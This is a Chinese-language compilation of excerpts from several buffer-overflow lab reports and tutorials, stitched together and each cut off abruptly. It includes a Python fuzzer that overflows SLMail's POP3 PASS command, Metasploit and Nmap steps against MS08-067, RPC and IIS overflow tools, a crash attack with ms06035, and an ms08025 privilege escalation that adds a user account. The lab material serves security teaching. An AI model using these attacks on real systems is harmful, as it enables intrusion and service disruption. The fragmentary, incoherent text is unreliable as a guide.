缓冲区溢出攻击实验

合集下载

0day缓冲区溢出实验报告

0day缓冲区溢出实验报告

网络安全缓冲区溢出实践班级:信安一班学号:*************姓名:***1 栈溢出1.1 修改邻接值首先写一个密码验证程序,正确密码为1234567在ollydbg中进行调试在验证密码时输入8888888提示错误。

堆栈情况:可以看出,输入的password储存在0012FB7C处authenticated变量存储在0012FF7C处。

由于8888888>1234567,所以值为1。

如果输入溢出,情况是这样的:输入8888888wsk,发现sk溢出到了authenticated变量处而我们的目标是使authenticated被覆盖为0,因此,输入8个字符,字符串最后的’\0\即null会覆盖authenticated使它成为0。

不过并不是所有的8个字符都可以。

如果输入的字符串小于1234567,那么authenticated是-1的补码即FFFFFFFF,这时只修改最后的一位还是不能使authenticated成为00000000,如这时authenticated值为===================================================================== 1.2 修改函数返回地址改为从文件中读取密码超出buffer范围的字符会依次淹没authenticated、EBP和返回地址。

观察反汇编:此处00401005即为验证函数,取出EAX中的返回值与0比较,如果相等则跳入00401125。

所以将password文件修改如下:可以覆盖返回地址,使程序跳入验证正确的分支2 代码植入通过栈溢出让程序执行输入数据中植入的代码在输入数据里包含自己想要执行的代码,然后通过返回地址让程序跳转到系统栈里执行。

向password.txt文件里植入二进制的机器码。

调用windows的API函数将buffer长度扩展为44,先将password文件修改为11个4321来进行实验,验证通过后堆栈情况如图:buffer起始还是0012FB7C,authenticated也还是0012FF7C,后面依次为EBP和返回地址。

缓冲区溢出实例(一)--Windows

缓冲区溢出实例(一)--Windows

缓冲区溢出实例(⼀)--Windows⼀、基本概念缓冲区溢出:当缓冲区边界限制不严格时,由于变量传⼊畸形数据或程序运⾏错误,导致缓冲区被填满从⽽覆盖了相邻内存区域的数据。

可以修改内存数据,造成进程劫持,执⾏恶意代码,获取服务器控制权限等。

在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在缓冲区溢出漏洞,⽆需⾝份验证实现远程代码执⾏。

注意,Win7以上系统的防范机制可有效防⽌该缓冲区漏洞的利⽤:DEP:阻⽌代码从数据页被执⾏;ASLR:随机内存地址加载执⾏程序和DLL,每次重启地址变化。

⼆、实验环境准备:SLMail 5.5.0 Mail ServerImmunityDebugger_1_85_setup.exemona.py下载地址:mona⼿册实验环境:xp关闭防⽕墙1.安装SLMail 5.5.0邮件服务器将本地账户导⼊邮件服务器安装好环境之后,确认SLMail的端⼝是否正常开启:25 pop3端⼝,180 web管理端⼝。

services.msc 查看邮件相关服务。

2.邮件服务安装成功后,接下来安装调试⼯具 ImmunityDebugger软件会⾃动安装python2.7环境打开Immunity Debugger所在⽬录C:\Program Files\Immunity Inc\Immunity Debugger将mona.py复制到PyCommands⽬录下,C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands三、实验内容SLMail 5.5.0 Mail ServerPOP3 PASS 命令存在缓冲区溢出漏洞⽆需⾝份验证实现远程代码执⾏win7之后windows的安全防护机制DEP:阻⽌代码从数据页被执⾏ASLR:随机内存地址加载执⾏程序和DLL,每次重启地址变化使⽤nc验证端⼝连接是否正常,并且可执⾏pop3的⼀些指令nc 192.168.199.199 25nc 192.168.199.199 110测试 PASS 命令接收到⼤量数据时是否会溢出EIP 寄存器:存放下⼀条指令的地址pop3邮件服务侦听的端⼝是110,进程ID是636.使⽤Immunity Debuggerfile---attach---选中pid号为636的进程---attach调⽤开始监控程序运⾏状态利⽤原理:“PASS”命令后,当⼀些特殊定制的命令输⼊,会造成缓冲区溢出,上传shellcode,可控制⽬标系统,则不需要经过⾝份验证,获得权限⼀、测试哪个命令会出现缓冲区溢出注:如何了解应⽤/协议能接受的固定指令:1、Wireshark 2、RFC【必须理解系统底层和协议底层】01.py 最简单的功能实现#!/usr/bin/pythonimport sockets = socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:print "\nSending evil buffer..."s.connect(("192.168.199.199",110))data = s.recv(1024)print datas.send("USER Xuan"+"\r\n")data = s.recv(1024)print datas.send("PASS test\r\n")data = s.recv(1024)print datas.close()print "\nDone"except:print "Could not connect to POP3!"02.py【不断增⼤发送量,通过Debug确定是否会溢出】【若发送数⽬很⼤,还没溢出,则可放弃】# ⼤概确定范围#!/usr/bin/pythonimport socketbuffer=["A"]counter=100while len(buffer) <= 50:buffer.append("A"*counter)counter=counter+200for string in buffer:print "Fuzzing PASS with %s bytes" % len(string)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect = s.connect(("192.168.199.199",110))s.recv(1024)s.send("USER test"+"\r\n")s.recv(1024)s.send("PASS "+string+"\r\n")s.send("QUIT\r\n")s.close()EIP中的41是⼗六进制数,转换为字母就是A,也就是说此时EIP寄存器全部填满了A,ESP寄存器也被填满了A,每四个字节为⼀个存储单元进⾏存储,EIP就是当前邮件服务器SLmail下⼀个需要执⾏的指令的内存地址,所发送的A把下⼀条指令的内存地址给覆盖了,发⽣了缓冲区溢出。

山东大学信息安全实验报告

山东大学信息安全实验报告

山东大学软件学院信息安全导论课程实验报告学号:201300301385 姓名:周强班级: 2013级八班实验题目:缓冲区溢出实验实验学时:日期:实验目的:(1)了解缓冲区溢出的原理(2)利用缓冲区溢出现象构造攻击场景(3)进一步思考如何防范基于缓冲区溢出的攻击硬件环境:软件环境:WindowsXP操作系统VS2008实验步骤与内容:(1)了解缓冲区溢出的原理缓冲区溢出简单来说就是计算机对接收的输入数据没有进行有效的检测(理情况下是程序检测数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。

看一个代码实例,程序如下:void function(char *str) {char buffer[16];strcpy(buffer,str);}上面的strcpy()将直接把str中的内容copy到buffer中。

这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。

(2)利用缓冲区溢出现象构造攻击场景首先打开Microsoft Visual C++,新建工程和cpp文件,复制实验指导书的代码进行编译连接:单击运行按钮,然后第1次输入“zhouqianga”,第2次输入2个“ga”,即可看到输出“correct”。

按F10开始进行逐步调试:当第一次执行gets()函数之前,内存情况如下图所示在最新的版本中gets被认为是不安全的,gets从标准输入设备读字符串函数。

可以无限读取,不会判断上限,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。

现在都被要求改为get_s。

来防止溢出。

如下图所示。

(3)学习例子程序2:数据被执行在xp系统下,直接运行Exploit-1.1.exe,如下图所示:但是在计算器下输入数字后,将计算器关闭,会出现如下对话框:当程序返回时,改变了程序入口地址,让其跳转并且执行cmd.exe calc.exe两个程序(打开计算器)并执行abc.bat批处理程序。

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告

实验六报告如图2所示的Windows 2000系统(虚拟机环境下)的计算机。

显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。

图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。

在win10攻击机上运行metasploit console,即可进入Metasploit环境。

现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。

图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。

namap扫描的结果里报告发现MS08-067:DISABLED。

这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。

MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。

图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC 请求,则该漏洞可能允许远程执行代码。

在Microsoft Windows 2000Windows XP 和Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。

缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告班级:10网工三班学生姓名:谢昊天学号:1215134046实验目的和要求:1、掌握缓冲区溢出的原理;2、了解缓冲区溢出常见的攻击方法和攻击工具;实验内容与分析设计:1、利用RPC漏洞建立超级用户利用工具scanms.exe文件检测RPC漏洞,利用工具软件attack.exe对172.18.25.109进行攻击。

攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。

2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。

3、利用WebDav远程溢出使用工具软件nc.exe和webdavx3.exe远程溢出。

实验步骤与调试过程:1.RPC漏洞出。

首先调用RPC(Remote Procedure Call)。

当系统启动的时候,自动加载RPC服务。

可以在服务列表中看到系统的RPC服务。

利用RPC漏洞建立超级用户。

首先,把scanms.exe文件拷贝到C盘跟目录下,检查地址段172.18.25.109到172.18.25.11。

点击开始>运行>在运行中输入cmd>确定。

进入DOs模式、在C盘根目录下输入scanms.exe 172.18.25.109-172.18.25.110,回车。

检查漏洞。

2.检查缓冲区溢出漏洞。

利用工具软件attack.exe对172.18.25.109进行攻击。

在进入DOC 模式、在C盘根目录下输入acctack.exe 172.18.25.109,回车。

3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。

进入IIS溢出工具软件的主界面.IP:172.18.25.109 PORT:80 监听端口为813单击IDQ溢出。

出现攻击成功地提示对话框。

4.利用工具软件nc.exe连接到该端口。

进入DOs模式,在C盘根目录下输入nc.exe -vv 172.18.25.109 813 回车。

信息安全实验-缓冲区溢出-蒋智超

信息安全实验-缓冲区溢出-蒋智超

缓冲区溢出一、实验目的掌握缓冲区溢出攻击的现象掌握使用缓冲区溢出工具的方法二、实验步骤一.利用ms06035漏洞进行攻击1.进入“ms06035漏洞利用工具”目录主机A单击工具栏中“ms06035工具”按钮,进入“ms06035漏洞利用工具”工作目录。

2.查看当前目录内容主机A用dir命令查看当前目录中的内容,如下图所示:图4-1-1 工具目录中的内容上图中标注的“ms06035.exe”即为ms06035漏洞利用工具。

3.使用“ms06035工具”进行攻击主机A执行“ms06035.exe 主机B的ip 445”命令,发起对主机B的攻击。

4.主机B观察被攻击现象主机B被攻击后出现蓝屏死机的现象(实验结束,主机B用虚拟机“快照X”恢复实验环境)。

二.利用ms08025漏洞进行攻击以下步骤两主机互相攻击对方,操作相同,故以主机A为例说明实验步骤。

「注」主机B单击“ms08025工具”按钮,进入实验目录。

将ms08025.exe复制到D盘的根目录下,以便实验下一步进行。

1.telnet登录系统(1)主机A在命令行下使用telnet登录同组主机,当出现“您将要把您的密码信息送到Internet区内的一台远程计算机上,这可能不安全,您还要发送吗(y/n)”当出现此提示时,选择n,输入登录账号“student”,密码“123456”。

登录成功如下图所示。

图4-1-2 telnet登录(2)主机A依次输入“d:”|“dir”查看同组主机D盘根目录,“ms08025.exe”即为实验工具。

图4-1-3 实验工具2.使用系统命令添加用户主机A使用“net user student1 /add”命令来试添加一个用户“student1”,执行该命令,出现“发生系统错误5,拒绝访问”的提示,如下图所示:图4-1-4 使用系统命令添加用户请解释出现上述现象的原因:。

3.查看ms08025工具使用方法主机A在telnet命令行中输入“ms08025.exe”,查看工具的使用方法,如下图所示:图4-1-5 ms08025工具使用方法4.使用ms08025工具添加用户主机A执行“ms08025.exe "net user student1 /add"”命令,提示命令成功完成,证明用户student1成功添加,如下图所示:图4-1-6 使用ms08025工具添加用户5.查看用户信息主机A用命令“net user student1”查看用户student1的信息,发现用户student1创建成功,隶属于Users组。

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。

2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。

而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。

3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。

缓冲溢出攻击实验报告

缓冲溢出攻击实验报告

一、实验目的及要求1. 了解缓冲区溢出攻击的原理和类型。

2. 掌握缓冲区溢出攻击的实验方法和步骤。

3. 理解缓冲区溢出攻击的危害性。

4. 学习防范和避免缓冲区溢出攻击的方法。

二、实验环境1. 操作系统:Windows 102. 编程语言:C/C++3. 漏洞利用工具:Metasploit4. 实验环境搭建:使用虚拟机软件(如VMware)搭建实验环境,靶机为Windows 7 SP1,攻击机为Kali Linux。

三、实验内容1. 漏洞分析:分析实验环境中存在的缓冲区溢出漏洞。

2. 攻击实现:利用Metasploit工具对靶机进行攻击,实现远程代码执行。

3. 防御措施:学习防范和避免缓冲区溢出攻击的方法。

四、实验步骤1. 漏洞分析- 使用Ghidra工具对实验环境中的漏洞程序进行反汇编,分析程序中的缓冲区溢出漏洞。

- 发现漏洞程序存在缓冲区溢出漏洞,攻击者可以通过输入超长字符串来覆盖返回地址,从而控制程序的执行流程。

2. 攻击实现- 使用Metasploit工具中的`exploit/multi/handler`模块,设置攻击目标为靶机的IP地址和端口。

- 使用`set payload`命令设置攻击载荷,选择`windows/x64/meterpreter/reverse_tcp`,该载荷可以在攻击成功后与攻击机建立反向连接。

- 使用`set LHOST`命令设置攻击机的IP地址,使用`set LPORT`命令设置端口号。

- 使用`set target`命令设置攻击目标,选择漏洞程序的模块和参数。

- 使用`exploit`命令启动攻击,等待攻击成功。

3. 防御措施- 代码审计:对程序进行代码审计,及时发现并修复缓冲区溢出漏洞。

- 输入验证:对用户输入进行严格的验证,限制输入长度,防止输入超长字符串。

- 边界检查:在代码中添加边界检查,防止缓冲区溢出。

- 安全编程:遵循安全编程规范,使用安全的编程语言和库,避免使用存在漏洞的函数。

软件安全实验二缓冲区溢出漏洞分析与验证

软件安全实验二缓冲区溢出漏洞分析与验证

软件安全课程实验报告
实验二缓冲区溢出漏洞分析与验证
一、实验内容
1)本课程实验研究对象是一个Web服务器zookws,该服务器上运行一个Python的web应用zoobar,web用户之间转移一种称为zoo
bars的货币,分析web服务器的逻辑,寻找缓冲区溢出漏洞并触
发该漏洞;
2)实验环境为Ubuntu,在VMware Player虚拟机中的vm-6858运行,系统有两个账号:
root:口令6858,用来安装软件
httpd:口令6858,运行服务器和实验程序
二、实验预备
1.运行ifconfig查看ip
2.远程ssh连接
3. make编译程序
4.启动服务器
5.用浏览器访问zook服务
6.用ps命令查看当前运行的进程
三、寻找漏洞
1.实验缓冲区利用的是strcpy的缓冲区漏洞,找到代码中是否有strcpy,找到了,在dir_join中。

四、触发漏洞
1.打开服务器,启动web
2.那么就可以将原来分配的1024字节大小的缓冲区进行溢出,将请求的路径设
置很长,要超过1024,达到将代码覆盖的效果。

3.漏洞利用结果
五、实验分析与总结
这次实验让我们亲身经历了一次代码审计及缓冲区漏洞利用的过程,实验很有意思,学到的知识也非常的多,通过代码审计,在脑中便利可能的漏洞利用点,然后找出漏洞,并通过shell脚本利用漏洞来进行缓冲区溢出攻击,可以深刻的了解缓冲区漏洞的原理,在以后的审计代码中,会留意,在自己编写程序时,也会避免使用危险函数。

缓冲区溢出实验

缓冲区溢出实验

实验三:缓冲区溢出实验缓冲区溢出实验实验目的:(1)学会用反汇编调试程序,观察变量、堆栈数据变化情况(2)清楚缓冲区溢出原理(3)进一步思考如何防范基于缓冲区溢出的攻击硬件环境:处理器:Intel(R) Core(TM)i3-2310M CPU @2.10GHZ 2.10GHZ内存:4.00G软件环境:Windows 7Visual Studio C++6.0实验步骤:首先观察老师给的代码,初步了解了代码执行之后会发生的结果,以及所造成的后果。

代码如下:#include <stdio.h>#include <stdlib.h>#include <string.h>main(){char passwd[8] = {"2e4rfe"};char yourpasswd[8] = {""};again:puts("please input passwd?");gets(yourpasswd);if (strcmp(yourpasswd, passwd)==0)goto ok;puts("passwd error");goto again;exit(-2);ok:puts("correct!");// do work you wantgetchar();return 0;}然后利用VC++6.0进行反汇编调试:1.初始状态如下:红色区域为堆栈内容2.password存入堆栈(红色区域)和yourpassword也存入堆栈(红色区域)位于password前面3此时接着往下运行,我们可以发现yourpassword是8位的,我们写入了10位数据qqqqqqqqqq,将产生溢出,qq将溢出,因为password位于yourpassword之后,所以yourpassword溢出的2位数据qq将覆盖password的前两位2e。

缓冲区溢出漏洞攻击初探

缓冲区溢出漏洞攻击初探

缓冲区溢出漏洞攻击初探作者:宋春来源:《电子技术与软件工程》2016年第16期摘要本文详细描述和分析了缓冲区溢出攻击的原理,然后就如何对缓冲区溢出攻击漏洞构造攻击程序进行了详细的分析。

【关键词】缓冲区溢出栈溢出攻击 Shellcode在Internet高度普及的今天,缓冲区溢出漏洞作为最常见的软件安全漏洞,是黑客攻击中经常利用的一个漏洞。

通过利用溢出漏洞,攻击者可以使被攻击的主机改变原代码的执行流程,转而执行攻击者构造的恶意代码。

前些年,缓冲区溢出攻击一度占到了网络攻击总量的百分之五十以上,只是近年来软件厂商逐渐加强了操作系统和应用软件的安全建设,采用了一些DEP、ASLR等对抗措施,才使得缓冲区溢出漏洞呈现逐年减少的趋势,但在企业内网中,缓冲区溢出漏洞仍然普遍存在。

因此,依然有必要对缓冲区溢出漏洞进行一些研究,从而开展有效的防范措施。

1 缓冲区溢出漏洞定义及原理1996年,Aleph One在Phrack杂志发表的“Smashing the Stack for Fun and Profit”是缓冲区溢出的经典之作,第一次详细地介绍了缓冲区溢出产生的原理和利用方法。

缓冲区溢出漏洞攻击是指攻击者通过在缓冲区写入超过预定长度的数据造成所谓的溢出,破坏了堆栈的原有数据结构,使程序的返回地址发生变化,使它指向溢出程序中恶意代码,这样就达到了攻击者的目的。

常见的缓冲区溢出漏洞包括栈溢出和堆溢出漏洞,本文主要结合实验简要分析栈溢出的攻击原理。

要充分理解缓冲区溢出漏洞的基本原理,就要从理解系统的内存结构开始。

系统的内存结构主要包含有text、data、bss、heap和stack等区段。

其中,代码text区,是由程序的代码段,为只读数据,任何对其写入的操作都会导致段错误(segmentation violation);而bss 和data 都是可写的,它们保存全局变量,data 段包含已初始化的静态变量,而bss 包含未初始化的数据;heap是堆区,stack是栈区。

缓冲区溢出攻击与防范实验

缓冲区溢出攻击与防范实验

实验十二缓冲区溢出攻击与防范实验1.实验目的通过实验掌握缓冲区溢出的原理;通过使用缓冲区溢出攻击软件模拟入侵远程主机;理解缓冲区溢出危险性;理解防范和避免缓冲区溢出攻击的措施。

2.预备知识2.1缓冲区溢出攻击简介缓冲区溢出攻击之所以成为一种常见的攻击手段,其原因在于缓冲区溢出漏洞太普通了,并且易于实现。

而且,缓冲区溢出所以成为远程攻击的主要手段,其原因在于缓冲区溢出漏洞给予了攻击者所想要的一切:植入并且执行攻击代码。

被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。

下面简单介绍缓冲区溢出的基本原理和预防办法。

(1)缓冲区概念缓冲区是内存中存放数据的地方。

在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。

而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。

缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。

大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。

如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。

一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。

仅仅单个的缓冲区溢出并不是问题的根本所在。

但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。

造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或操作系统定义好。

缓冲区类似于一个杯子,写入的数据类似于倒入的水。

安全测试中的缓冲区溢出攻击与防御

安全测试中的缓冲区溢出攻击与防御

安全测试中的缓冲区溢出攻击与防御在安全测试领域中,缓冲区溢出攻击是一种常见而危险的攻击方式。

本文将对缓冲区溢出攻击的原理、危害以及常见的防御措施进行探讨。

1. 缓冲区溢出攻击的原理缓冲区溢出攻击主要利用程序中的缺陷,通过向程序输入超过其缓冲区容量的数据来覆盖除缓冲区外的内存空间,从而控制程序的执行流程。

攻击者通常通过溢出的数据来注入恶意代码或修改栈中的返回地址,使程序转向攻击者设计的恶意代码,从而实现攻击目的。

2. 缓冲区溢出攻击的危害缓冲区溢出攻击可能导致以下危害:- 执行任意代码:攻击者通过溢出的数据注入恶意代码,并在程序执行时执行该代码,从而获取系统权限或进一步渗透目标系统。

- 拒绝服务:溢出攻击可能导致目标系统崩溃或无法继续正常运行,造成服务不可用的情况,给系统造成严重影响。

- 信息泄露:攻击者通过溢出泄露系统中的重要信息,如密码、敏感数据等,进一步危害系统和用户安全。

3. 缓冲区溢出攻击的防御措施为了防范缓冲区溢出攻击,以下是一些常见的防御措施:- 输入验证:对输入数据进行严格校验,限制其长度和特殊字符,并使用安全的输入函数进行数据传递,以防止溢出发生。

- 内存分配和使用:合理规划内存分配,使用强类型语言,避免使用不安全的函数和操作。

及时释放不再使用的内存,防止被滥用。

- 栈保护技术:通过使用栈保护技术,如栈溢出保护(Stack Overflow Protection,SOP)、Cannonical Address Space (CAS)等,检测和阻止栈溢出攻击。

- ASLR和DEP:地址空间布局随机化(Address Space Layout Randomization,ASLR)和数据执行保护(Data Execution Prevention,DEP)可以增加攻击者获取目标地址和执行恶意代码的难度,有效防御缓冲区溢出攻击。

4. 实例分析举一个实际的案例来说明缓冲区溢出攻击与防御的重要性。

网络攻防实验课程缓冲区溢出

网络攻防实验课程缓冲区溢出

程序在内存中的映像
堆(Heap) 内存低地址
内 存 递 增 方 向 堆的增长方向
…… 堆栈段 数据段 栈(stack) 非初始化数据段(BSS) 初始化数据段
栈的增长方向
文本(代码)段 内存高地址
代码段 系统DLL PEB&TEB 内核数据代码 0x7FFFFFFF 0x80000000


栈是一块连续的内存空间——就像一个杯子

程序指令流被改变后……

溢出之后,让程序执行我们指定的代码


我们自己提供的一段代码 系统现有的调用

由于这段代码往往不能太长,所以需要精心设计,并且充 分利用系统中现有的函数和指令 对于不同的操作系统到一个shell(最好是root shell) Windows,一个可以远程建立连接的telnet会话
pushl %ebp movl %esp,%ebp subl $24,%esp addl $-8,%esp movl 8(%ebp),%eax pushl %eax leal -12(%ebp),%eax pushl %eax call strcpy addl $16,%esp leave ret
例子2


危害性


不需要太多的先决条件 杀伤力很强 技术性强

在Buffer Overflows攻击面前,防火墙往往显得很无奈
利用缓冲区溢出的攻击

随便往缓冲区中填东西造成它溢出一般只会出现 “分段错误”(Segmentation fault),而不能 达到攻击的目的。
如果覆盖缓冲区的是一段精心设计的机器指令序 列,它可能通过溢出,改变返回地址,将其指向 自己的指令序列,从而改变该程序的正常流程。

实验6网络攻击与防范实验

实验6网络攻击与防范实验

实验 6 网络攻击与防范实验6.1 实验目的1、理解 Dos/Ddos/ARP 攻击的原理及实施过程,掌握检测和防范 Dos/DDoS/ARP 攻击的措施;2、理解缓冲区溢出攻击的原理及实施过程,掌握防范和避免措施。

6.2 实验环境实验室所有机器安装了 Windows 操作系统,并组成了一个局域网;Dos/DDoS/ARP 攻击软件;每 4-5 个学生为一组:互相进行攻击或防范。

6.3 实验原理6.3.1 DoS 的原理拒绝服务( DoS )攻击利用系统或协议的缺陷,采用欺骗的策略进行网络攻击,目的是使目标主机因 为资源全部被占用而不能处理合法用户提出的请求,即对外表现为拒绝提供服务。

常见的 DoS 攻击方法:( 1 ) Synflood: 该攻击以多个随机的源主机地址向目的主机发送 SYN 包,而在收到目的主机的 SYN ACK 后并不回应,这样,目的主机就为这些源主机建立了大量的连接队列,而且由于没有收到 ACK 一直 维护着这些队列,造成了资源的大量消耗而不能向正常请求提供服务。

( 2 ) Land-based :攻击者将一个包的源地址和目的地址都设置为目标主机的地址,然后将该包通过 IP 欺骗的方式发送给被攻击主机,被攻击主机与自己建立空连接并保留连接,从而很大程度地降低了系统 性能。

(3) UDP 洪水(UDP flood) 一个数据包时随机反馈一些字符。

意攻击,通过伪造与某一主机的 一台主机,通过将 Chargen 和 Echo 服务互指,来回传送毫无用处且占满带宽的垃圾数据,在两台主机之 间生成足够多的无用数据流,这一拒绝服务攻击飞快地导致网络可用带宽耗尽。

4 ) Smurf 、UDP-Flood 、Teardrop 、 PingSweep 、Pingflood 、Ping of Death 等。

6.3.2 DDOS 的原理分布式拒绝服务( DDoS )是基于 DoS 攻击的一种特殊形式。

信息安全工程师缓冲区溢出攻击案例题

信息安全工程师缓冲区溢出攻击案例题

信息安全工程师缓冲区溢出攻击案例题信息安全工程师缓冲区溢出攻击案例题1. 引言在当今数字化时代,信息安全已经成为了一个日益重要的议题。

随着科技的进步,攻击者也越来越擅长利用软件漏洞进行攻击。

缓冲区溢出攻击是其中一种被广泛应用的攻击方式,它利用了程序在处理输入时对缓冲区大小的控制不足。

本文将以缓冲区溢出攻击为主题,通过案例分析,深入探讨信息安全工程师在预防和应对缓冲区溢出攻击方面的关键技术与实践。

2. 缓冲区溢出攻击的概述缓冲区溢出攻击是指攻击者通过向程序的缓冲区写入超出其分配空间的数据,从而覆盖在其附近的内存区域,改变程序的正常行为或执行任意指令。

在计算机系统中,程序在处理输入数据时,会将其存储在缓冲区中,攻击者通过插入恶意代码来利用这个缺陷。

缓冲区溢出攻击是一种高效、隐蔽且普遍的攻击方式,因此信息安全工程师需要充分了解和掌握防范该攻击的方法。

3. 缓冲区溢出攻击案例分析以某虚拟银行系统为例,该系统中的登录功能存在缓冲区溢出漏洞。

攻击者通过登录页面的用户名和密码输入框,向系统输入超过其分配空间的数据,从而触发缓冲区溢出攻击。

攻击者成功利用溢出漏洞,覆盖了存储在附近的内存区域中的返回位置区域,并将其指向了攻击者事先准备好的恶意代码段。

该恶意代码段能够在银行系统进程的上下文中执行,从而实现攻击者的目的。

攻击者可以窃取用户的账户信息,篡改交易记录等。

4. 预防和应对缓冲区溢出攻击的关键技术与实践4.1 输入验证对于缓冲区溢出攻击,首先需要确保输入数据的合法性。

信息安全工程师应实施严格的输入验证,包括输入数据的长度、格式和类型等。

对于缓冲区溢出攻击,特别需要关注输入的边界条件和特殊字符。

4.2 编程语言和框架的选择选择安全性较高的编程语言和框架同样至关重要。

一些编程语言和框架提供了内置的安全机制,能够有效地防范缓冲区溢出攻击。

信息安全工程师应选择那些对于输入数据、内存分配和处理提供了良好支持和保护的编程语言和框架。

网络攻击与防范实验报告-缓冲区溢出

网络攻击与防范实验报告-缓冲区溢出

网络攻击与防范实验报告姓名:____王小北___ 学号:___ 201411111111111111 _ 所在班级:实验名称:缓冲区溢出实验日期:2014年11月7日指导老师:实验评分:验收评语:实验目的:1.掌握缓冲区溢出的原理2.掌握常用的缓冲区溢出方法3.理解缓冲区溢出的危害性4.掌握防范和避免缓冲区溢出攻击的方法实验工具:溢出对象:war-ftp 1.65 ( 自己分析)调试工具:Debugging Tools for Windows 中(网上有下载)实验环境:虚拟机vmware workstation 10 Windows XP sp1高级语言编程:Socket编程VS2010实验步骤:原理:war-ftp 1.65版本的一个漏洞,即向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n),溢出之后ESP内容包含了longString中的部分内容。

过程:攻击者向war-ftp发送多余480字节的用户名,触发war-ftpd的漏洞,产生缓冲区溢出,此时war-ftpd将出现错误。

接下来通过PatterntTool工具构造的一串不重复字符串(1000个不同字符串,存入test.txt中),通过其时eip的内容,利用patternoffset.pl工具来确定RET的位置。

在网上寻找一段具有攻击效果的Shellcode,作为所发送的war-ftpd用户名。

其最主要是通过上边所确定的RET的位置,将“JMP ESP”指令的地址(0x7ffa4512)传递到RET 位置,最终目的是将指令指针转移到esp的位置。

同时我们可以通过确定esp的位置,从而在构造字符串时直接将shellcode代码加在在用户名上,使其能直接被放入esp所指的位置,即达到将其放入esp指向的缓冲区的目的。

通过发送构造的用户名,导致war-ftpd发生缓冲区溢出。

Shellcode的功能是建立一个新用户hack,可以用过net user命令来查看用户,最后发现攻击成功。

实验四 恶意代码实验

实验四 恶意代码实验

